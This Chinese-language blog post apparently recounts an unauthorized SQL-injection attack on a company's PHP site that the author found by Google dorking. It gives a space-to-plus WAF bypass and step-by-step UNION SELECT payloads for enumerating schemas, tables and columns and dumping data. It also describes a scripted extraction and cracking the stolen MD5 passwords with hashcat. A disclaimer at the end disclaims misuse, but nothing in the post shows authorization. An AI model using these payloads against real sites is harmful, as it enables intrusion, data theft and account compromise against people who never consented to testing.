发现方式
利用goole语法inurl="id="
发现某公司php站点,在id后输入1' and 'a'='a'--
显示被waf拦截
这个waf我去搜了一下是西数的一个waf,挺拉的
经过尝试发现是空格被过滤了,于是将空格用+替换。输入1'+and+'a'='a'--
后页面报错,说明存在sql注入漏洞
基本信息
|
|
- 成功查询到当前库名:sanying
- mysql版本:5.7.43
- user:[email protected]
这个版本是好多年前的了,高版本的用法不能在这用
查库
在构造的时候又发现这个waf规则里面group_concat不能和括号连用,所以我们只能用limit一条一条查
构造payload
?id=-1+union+select+schema_name+from+information_schema.schemata+limit+0,1--
发现只有两个库,其中一个还是系统库(°ー°〃)
看来只用脱sanying库就行了,系统库就不管了
查表
构造payload
?id=-1+union+select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1--
后面可以用用burp的攻击模块或者自己写个脚本提取,我选的后者。因为前者还要自己去把表名抄下来太麻烦,我根据页面回显利用python re库和正则将回显内容提取出来即可,最后发现有共17张表
查列名
查列名的时候又发现不能指定数据库或者具体的表名来查,反正我们只脱一个库数据库名就可以一直用database(),表名就用子查询+limit n,1来指定,后续把n当作循环变量即可
构造payload
?id=-1+union+select+column_name+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+n,1)+and+table_schema=database()+limit+0,1--
然后写入脚本自动化查询每张表的列名
查数据
到这里了开始我是想尽办法构造出列名,结果最后发现可以直接指定列名来查,不知道为什么,这个waf给我人整麻了 ╮(╯▽╰)╭
构造payload
-1+union+select+{data[i]}+from+Sanying.{km}
这里是从脚本里面复制出来的,我是先把列名处理成列表
这里因为不太会协调这些数据的位置处理输出到xlsx,有些列还是空的,所以我只能半自动化手动填数据到excel,有大佬的话浇浇我!
成果
最后就是这样,拿到了两个账号和一些信息,这库也是真的老了,十几年前的了,密码还是用的md5,但是最近又有人登录。后面利用hashcat和在线网站成功解出两个md5哈希,也算是稍有收获!
免责声明:
目的:本文旨在分享有关网络安全渗透知识的信息,以促进对网络安全的理解和提高个人和组织的安全意识。这些知识和技术应仅用于合法的、授权的安全测试和红队操作,并遵守适用的法律和道德规范。
法律合规:在参考本文所提供的渗透测试和攻击技术时,请确保遵守您所在国家或地区的法律法规。未经合法授权和明确许可,禁止使用这些知识和技术从事非法活动,如未经授权的入侵、数据盗取、破坏性攻击等。
责任限制:使用本文所提供的信息和技术的过程中,如因操作不当或其他原因导致任何损失或损害,作者概不负责。使用者应自行承担所有风险和后果。
免责声明:本文的分享仅为技术交流和学习之用,并不鼓励任何非法活动。作者不对任何个人或组织的非法行为承担任何责任。
出事与作者无关:使用者在运用本文提供的知识和技术时,应自行判断和承担责任。如因使用者违反法律法规或滥用本文提供的知识和技术而导致任何问题、损失或法律责任,与作者无关。使用者应对其行为负完全责任。
合法授权:在进行安全测试和渗透测试时,使用者应首先获得相关系统和网络的合法授权,确保测试的对象是属于您合法所有或得到明确授权的。
持续学习:网络安全是一个不断发展和演变的领域,本文提供的知识和技术可能随时间而过时或失效。使用者应不断学习和更新知识,关注最新的安全趋势、漏洞和防护措施。
通过阅读和使用本文提供的信息和技术,视为您理解并同意以上免责声明,并同意自行承担使用这些知识和技术所产生的风险和后果。作者对任何不当使用所导致的问题、损失或法律责任概不负责。